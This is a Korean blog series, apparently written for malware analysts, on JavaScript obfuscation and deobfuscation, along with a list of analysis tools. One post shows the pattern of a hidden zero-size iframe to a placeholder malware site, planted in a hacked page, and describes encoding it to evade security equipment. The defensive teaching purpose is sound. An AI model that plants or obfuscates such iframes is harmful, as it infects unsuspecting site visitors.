검색결과 리스트
난독화/난독화 강좌에 해당되는 글 14건
- 2013.05.04 [3] 자바스크립트 난독화 기초 2
- 2013.05.04 [2] 자바스크립트 난독화 Tool
- 2013.05.03 난독화 스터디 시작!!
- 2013.05.03 [1] 자바스크립트 난독화 기초 3
글
[3] 자바스크립트 난독화 기초 2
[3] 자바스크립트 난독화 기초 2
1. Iframe Tag를 이용한 악성코드 유포
1.1 일반적인 악성코드 유포 패턴
예제 1)
<iframe src=http://[악성코드 유포사이트 경로] width=0 height=0></iframe> |
① 정상적으로 서비스되고 있는 웹사이트를 해킹하여 소스코드에 iframe을 삽입
② 악성코드 유포사이트를 보이지 않게 하기위해 “width=0 height=0”로 설정
③ 이런 악성코드가 삽입된 사이트를 위/변조 사이트라고 하며, 이런 사이트 접속 시
사용자는 인지하지 못한 상태에서 악성코드에 감염
* iframe Tag는 정상사이트에서도 사용하기 때문에, 있다고 반드시 악성은 아니다
1.2 해커 입장에서 “예제1” 의 문제점
① 보안장비에서 패턴을 통하여 탐지 가능하다
② 보안담당자가 소스코드만 확인하여도 쉽게 악성코드 유포지를 알 수 있다
ð 때문에 난독화를 통하여 보안장비 우회 및 분석시간이 오래 걸리도록 한다
2. 같은 의미! 다른 형태!
2.1. 동일한 의미를 가진 여러 형태의 패턴
예제 2)
ex 1) <iframe src=http://café.naver.com width=800 height=500></iframe>
ex 2) <script> a="<iframe src";b="=http://caf";c="e.nav"; d="er.com width";e="=800 heigh"; f="t=500></iframe>"; document.write(a+b+c+d+e+f); </script>
|
① ex 1) 과 ex 2) 는 다른형태를 가지고 있지만, 동일한 행위를 한다
예제 3)
ex 1) a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E %3C/iframe%3E"
b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d2077696474 683d383030206865696768743d3530303e3c2f696672616d653e";
c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110, 97,118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116, 61,53,48,48,62,60,47,105,102,114,97,109,101,62";
d="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ9 NTAwPjwvaWZyYW1lPiA=";
|
① a, b, c, d는 모두 다른 형태이지만. 동일한 의미를 가지고 있다.
② 예제 3)의 형태는 기본적인 형태이므로 보면 어떤 코드인지 알 수 있도록 해야 한다
3. 난독화에 많이 이용되는 기본 패턴
3.1. escape와 unescape
예제 4)
<script> a="%3Ciframe%20src%3Dhttp%3A//cafe.naver.com%20width%3D800%20height%3D500%3E%3C/iframe%3E"; s=unescape(a); //-- a를 unescape로 변환하여 s에 저장 document.write(s); </script>
## 결과 cafe.naver.com 으로 접속 시도한다
|
① document.write는 문자열로 html에 반환하기 때문에 iframe이 실행된다
- 문자열을 보고 싶다면, alert 이나 xmp tag를 이용하면 된다
② a는 escape로 난독화되어 있기 때문에 unescape를 이용하여 복호화 하였다
3.2. HEX Code
b는 HEX Code이다. Hex는 기본적으로 알고 있을 것이다. 하지만 해당 코드가 hex인줄 몰랐다면
익숙하지는 않은 것이다.
예제 5)
<script> b="3c696672616d65207372633d687474703a2f2f636166652e6e617665722e636f6d207769647468 3d383030206865696768743d3530303e3c2f696672616d653e"; var s=""; for(i=0;i<b.length;i+=2) {s+=String.fromCharCode(parseInt(b.substring(i,i+2),16))}; document.write(s); </script> ## 결과 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)
|
① 위와 같은 스크립트를 이용하여 복호화 할 수 있다
② 예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다
3.3. ASCII Code
c는 아스키코드이다. 숫자, 문자, 특수기호에 번호를 부여한 것이라 생각하면 된다
예제 6)
<script> c="60,105,102,114,97,109,101,32,115,114,99,61,104,116,116,112,58,47,47,99,97,102,101,46,110,97, 118,101,114,46,99,111,109,32,119,105,100,116,104,61,56,48,48,32,104,101,105,103,104,116,61,53, 48,48,62,60,47,105,102,114,97,109,101,62"; s=""; c=c.split(",") for (i=0;i<c.length;i++){s+=String.fromCharCode(c[i]);} document.write(s); </script> ## 결과 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)
|
① 위와 같은 스크립트를 이용하여 복호화 할 수 있다
② 예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다
3.4. Base64 Code
d는 Base64 Code이다. 전자메일에서 사용하는 64진수 코드라고 보면 된다.
예제 7)
<script> str="PGlmcmFtZSBzcmM9aHR0cDovL2NhZmUubmF2ZXIuY29tIHdpZHRoPTgwMCBoZWlnaHQ 9NTAwPjwvaWZyYW1lPiA="; var b64c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefg'+'hijklmnopqrstuvwxyz0123456789+/='; var b64d = '', chr1, chr2, chr3, enc1, enc2, enc3, enc4; str = str.replace(/[^a-z0-9+/=]/gi, ''); for (var i=0; i<str.length;) { enc1 = b64c.indexOf(str.charAt(i++)); enc2 = b64c.indexOf(str.charAt(i++)); enc3 = b64c.indexOf(str.charAt(i++)); enc4 = b64c.indexOf(str.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; b64d = b64d + String.fromCharCode(chr1); if (enc3 < 64) { b64d += String.fromCharCode(chr2); } if (enc4 < 64) { b64d += String.fromCharCode(chr3); } } document.write(b64d); </script> ## 결과 cafe.naver.com 으로 접속 시도한다 (예제 4번과 동일한 이유)
|
① 위와 같은 스크립트를 이용하여 복호화 할 수 있다
② 예제 4번과 동일한 방법으로 복호화된 문자열을 볼 수 있다
4. 간단하게 디코딩 하기
4.1. TRANSLATOR, BINARY
코드에 익숙해지기 위해 자바스크립트로 디코딩을 해보았다. 하지만 어떤 코드인지 안다면
아래의 사이트에서 간단하게 모두 디코딩 할 수 있다
바로가기: http://home.paulschou.net/tools/xlate/
[그림1] 디코딩 화면
'난독화 > 난독화 강좌' 카테고리의 다른 글
[5] 블랙홀 툴킷의 PDF 난독화 풀이 (2) | 2013.05.13 |
---|---|
[4] 난독화 연습 문제풀이 따라하기 I (4) | 2013.05.08 |
[2] 자바스크립트 난독화 Tool (0) | 2013.05.04 |
난독화 스터디 시작!! (0) | 2013.05.03 |
[1] 자바스크립트 난독화 기초 (3) | 2013.05.03 |
글
[2] 자바스크립트 난독화 Tool
[2] 자바스크립트 난독화 Tool
1. 난독화 해제에 사용되는 툴
※ 소개되는 툴들은 난독화해제시 사용하는 것들로 기본적인 사용법을 익혀두면 좋다
1.1. 에디트플러스
난독화 및 코딩을 도와주는 문서 편집기로 가장 많이 사용하는 프로그램이다 (29.700원)
에디트플러스 사이트: http://www.editplus.com/kr/index.html
1.2. TRANSLATOR, BINARY
Text, binary, hex, base64, ascii code로 변환해 주는 사이트
TRANSLATOR, BINARY: http://home.paulschou.net/tools/xlate/
1.3. Malzila
Malware hunting tool !! (오픈소스)
난독화해제 및 악성코드 분석에 많이 사용되는 오픈소스 툴로 hex값 Xor 및 다양한
용도로 이용된다
Malzilla download: http://malzilla.sourceforge.net/
1.4. HEX Editor
무료 HEX 에디터 툴로 hex edit 및 hex 값을 파일로 생성시 사용
다운로드 사이트: http://mh-nexus.de/en/hxd/
1.5. PDF Stream Dumper
PDF 분석 사용하는 툴로 PDF에 포함된 스크립트 및 난독화 분석 시 이용
다운로드 사이트: http://sandsprite.com/blogs/index.php?uid=7&pid=57
1.6. Paros(parosproxy)
Paros는 Web proxy툴로 Web의 취약점 분석과 웹해킹 도구로 사용
나는 악성코드 유포지로 유도하는 위/변조 사이트를 찾기 위해 주로 사용 한다
☞ Paros는 JDK가 설치되어야 실행가능하며 사용하기 전 웹설정(proxy)이 필요하다
다운로드 사이트: http://www.parosproxy.org/
1.7. Java Decompiler
.jar 파일을 java코드로 디컴파일하여 보여주는 툴
다운로드 사이트: http://java.decompiler.free.fr/
1.8. Sothink SWF Decompiler
.swf(flash file)을 분리하여 볼 수 있는 프로그램
☞ Sothink SWF Decompiler가 없다면 다른 swf 분석 프로그램을 사용하여도 된다
다운로드 사이트: …
※ 개인적으로 사용하는 툴을 소개한 것이며, 각자의 취향에 따라 다른 툴을 사용해도 된다
'난독화 > 난독화 강좌' 카테고리의 다른 글
[5] 블랙홀 툴킷의 PDF 난독화 풀이 (2) | 2013.05.13 |
---|---|
[4] 난독화 연습 문제풀이 따라하기 I (4) | 2013.05.08 |
[3] 자바스크립트 난독화 기초 2 (0) | 2013.05.04 |
난독화 스터디 시작!! (0) | 2013.05.03 |
[1] 자바스크립트 난독화 기초 (3) | 2013.05.03 |
글
난독화 스터디 시작!!
나는 자바스크립트를 공부해 본적이 없다.
하지만 자바스크립트로 난독화 된 악성코드를 분석하는 것에 흥미가 많고 재미있다.
난독화 공부를 하고 싶지만 관련된 자료가 많지 않아 공부하기 힘든 나같은 사람들을 위해
내가 아는 지식들을 정리해 보기로 했다!!
얼마나 할지는 모르겠지만 ㅎㅎ
'난독화 > 난독화 강좌' 카테고리의 다른 글
[5] 블랙홀 툴킷의 PDF 난독화 풀이 (2) | 2013.05.13 |
---|---|
[4] 난독화 연습 문제풀이 따라하기 I (4) | 2013.05.08 |
[3] 자바스크립트 난독화 기초 2 (0) | 2013.05.04 |
[2] 자바스크립트 난독화 Tool (0) | 2013.05.04 |
[1] 자바스크립트 난독화 기초 (3) | 2013.05.03 |
글
[1] 자바스크립트 난독화 기초
[1] 자바스크립트 난독화 기초
1. 난독화란?
프로그래밍 언어로 작성된 코드를 읽기 어렵게 만드는 작업
2. 난독화의 기본 예
예제)
<script> open(“http://naver.com”); </script>
⇒ <script>a="http";b="://";c="naver";d=".com";open(a+b+c+d);</script> |
3. 난독화 해제(복호화)의 원리
1) 난독화 되어 있는 스크립트는 실행되기 위해 복호화되어 특정 변수에 저장된다
☞ 복호화된 데이터가 저장된 변수를 ‘key변수’라고 부르겠다
2) 복호화된 데이터를 실행하기 위해서 실행함수가 사용된다
3) 실행함수를 문자로 나타내는 함수로 변환하여 복호화된 스크립트를 확인할 수 있다
4. 난독화 해제에 사용되는 함수
1) alert(key변수);
2) document.write(key변수);
3) document.write(“<xmp>”+key변수+”</xmp>”);
4) document.write(“<textarea>”+key변수+”</textarea>”);
'난독화 > 난독화 강좌' 카테고리의 다른 글
[5] 블랙홀 툴킷의 PDF 난독화 풀이 (2) | 2013.05.13 |
---|---|
[4] 난독화 연습 문제풀이 따라하기 I (4) | 2013.05.08 |
[3] 자바스크립트 난독화 기초 2 (0) | 2013.05.04 |
[2] 자바스크립트 난독화 Tool (0) | 2013.05.04 |
난독화 스터디 시작!! (0) | 2013.05.03 |